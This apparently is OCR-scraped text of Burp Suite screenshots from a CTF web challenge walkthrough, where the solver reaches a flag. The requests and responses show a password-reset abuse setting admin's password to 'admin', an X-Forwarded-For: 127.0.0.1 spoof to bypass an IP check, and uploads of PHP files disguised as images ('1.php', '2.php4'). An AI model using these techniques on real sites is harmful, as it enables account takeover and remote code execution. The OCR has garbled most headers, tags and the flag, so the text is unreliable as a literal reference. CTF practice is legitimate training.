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POST findex. php?module=findpwd&step=2&doSubmit=yes HTTF/1 .1 :
Host: 111.198.29.45:31987

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rvE9.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/shtml+xml applicationfxml;q=0.9 " q=0.8

Accept-Language: zh-CM zh;q=0.8 zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Caontent-Length: 27

Connection: close

Referer: http://111.198.29.45:31987 findex. php?module=findpwd &step=18&doSubmit=yes
Cookie: PHPSESSID=ugkmglugrpl735cetsditbecst

Upgrade-Insecure-Requests: 1

username=mochunewpwd=admin

TusernamedHadminid—iR .
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Request Response
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POST findex. php?module=findpwd &step=28&doSubmit=yes HTTP/ 1 \_A HTTP/ .1 200 CK A




Host: 111.198.29.45:31987

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 */* q=0.8
Accept-Language: zh-CM,zh;g=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encaoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 27

Connection: close

Referer: http:/111.198.29.45:31987 findex. php?module=findpwd &step=1&doSubmit=yes
Cookie: PHPSESSID=ugkmglugrp0735cetidhenst

Upgrade-Insecure-Requests: 1

username=admin&newpwd=admin
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Done

Date: Wed, 09 Oct 2019 05:34:15 GMT

Server: Apache/2.4.7 (Ubuntu)

¥-Powered-By: PHP/5.5.9-Tubuntud. 26

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Contral: no-stare, no-cache, must-revalidate, post-check=0, pre-check=0
Fragma: no-cache

Vary: Accept-Encoding

Content-Length: 227

Connection: close

Content-Type: text/html

<IDOCTYPE html>
<html=>
<head>
<title>Message</iitle>
<meta charset="UTF-8" />
<fhead>
<body=
<script>alert(’Reset
successfully! );</script><script>window.location.href="index.php'</script></body=</ht
ml=

=
X

0 matches

T. EJ EJ EJ Type a search term
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Home Manage Personal Change Pwd Logout

Hello, admin, Welcome

IP Mot allowed!

M ifimanage AL 3. % IP Not allowed
REZFELRLE, FUNFEERMES
EEHHRN—

X-Forwarded-For: 127.0.0.1
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GET findex.php?module=admin HTTR/1.1
Host: 111.198.29.45:31987

Accept-Encaoding: gzip, deflate
Connection: close
Referer: http:/111.198.29.45:31987 findex. php

user=4h9987 cecafachBdBic0Bd22bbcar97ha
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 */* q=0.8
Accept-Language: zh-CM,zh;g=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

Cookie: PHPSESSID=ugkmglugrp0735cetsditheost;

Done
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.whox { width: 500px; margin: 20px auto }

.switchTab { border-bottom: 1px solid #CCC; margin-bottom: 10px }

.switchTab a { color: #444; fontsize: 13px; background: #F5F5F5; display: block;
text-decoration: none; border-top-leftradius: 5px; horder-top-right-radius: 5px; float:
left; margin-right: Spx: border: 1px solid #CCC; border-bottom: none; padding: 3px
10px; }

.switchTab a.cur { color: #888; background: #FFF; }

.profileTable { fontsize: 13px; width: 100%; margin: 10px Opx; border-collapse:
collapse; }

.profileTable td { border-top:1px solid #CCC; border-bottom: 1px solid #CCC;
padding: 5px; }

.profileTable td:nth-of type[2n+1) { font-weight: bold; text-align: center; }

.px { border: 1px solid #CCC; padding:5px 3px; border-radius: 5px: margin:px 0;
width: 150px }

button.px { display: block; fontsize: 15px; width: 100px; height: 35px; background:
#36C; border-radius: 3px; border: none; color: #FFF }

</style>

<div class="wbox">
<div class="container">
<p>Where Is The Flag?</p>
<p style="font-size:100px">: )</p=
</div=
</div>
<l index php?module=filemanage&do=?77-->
</body=>
</htrnl=
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Request
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Target: http://111.198.29.45:31987 | #|| 7

POST findex.php?module=filemanage&do=upload HTTP/1.1

Host: 111.198.29.45:31987

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv69.0) Gecko/20100101 Firefox/69.0
Accept: text/html application/xhtml+xml application/xml;g=0.9 */* q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encaoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----—---emcemeemn 160641790913036
Content-Length: 6499

Connection: close

Referer: http:/111.198.29.45:31987 findex. php?module=filemanage&do=upload
Cookie: PHPSESSID=ugkmglugrp0735cetodBhenst;

user=4b9987 coafachBd8fcBd22bbear97ha

Upgrade-Insecure-Requests: 1

-160641790913036
Content-Disposition: form-data; name="upfile"; filename="1.php|
Content-Type: image/jpeg
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HTTPA .1 200 OK A
Date: Wed, 09 Oct 2019 05:47:14 GMT i
Server: Apache/2.4.7 (Ubuntu)
¥-Powerad-By: PHP/S.5.9-1ubuntud. 26
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Contral: no-stare, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 218
Connection: close
Content-Type: text/html
<IDOCTYPE html>
<html>
<head>
<title>Message</iitle>
<meta charset="UTF-8" />
<fhead>
<hody=
<script>alert(lt is a
phpl):<izcript=<script>window.location.href="index.php’</script=</body></html>
=
v
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567 bytes | 51 millis
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9 % [10 = [11 = [42 =
Go || cancel || <|v | [ >|* Target: htp://111.198.29.45:31987 | #| [ﬂ
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML }' Render ]
POST findex.php?module=filemanage&do=upload HTTP/1.1 : HTTPA .1 200 CK :
Host: 111.198.29.45:31987 Date: Wed, 03 Oct 2019 05:54:04 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv69.0) Gecko/20100101 Firefox/&9.0 Server: Apache/2.47 (Ubuntu)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9 */* q=0.8 X-Powerad-By: PHP/5.5.9-1ubuntud. 26
Accept-Language: zh-CM,zh;g=0.8,zh-TW;q=0.7 zh-HK;q=0.5 ,en-US;g=0.3 en;q=0.2 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-ravalidate, post-check=0, pre-check=0
Content-Type: multipart/form-data; boundary=----—------cemeeems 7411250981911 Fragma: no-cache ]
Content-Length: 229 Vary: Accept-Encoding
Connection: close Content-Length: 287
Referer: http:/111.138.29.45:31987 findex. php?module=filemanage&do=upload Connection: close
Cookie: PHPSESSID=ugkmglugrp0735cetsdiheost; Content-Type: text/html
user=4h9987 ccafachBdafc08d22bbcar97ha
Upgrade-Insecure-Requests: 1 | <IDOCTYPE html>
<html=
----------------------------- 7411250981911 <head>
Content-Disposition: form-data; name="upfile"; filename="2.php4" <title>Message</title>
Content-Type: image/jpeg <meta charset="UTF-8" />
</head>
<script language="php'=3 8 im0 </script> <body>
<script>alert('you have get points,here is the
----------------------------- 7411250981911-- flag:cyberpeace{beffaldcfe6adB209d1bbb6de1a793ab});</script><script>window.locat
ion.href="index.php’</script></body></html=
- -
5 |
? < + > | | Type a search term 0 matches ? < + = | |Type a search term 0 matches
Done 536 bytes | 53 millis

you have get points here is the flag:icyberpeace{tef7aldcfe6adB209d1bbbbdel a793a8}
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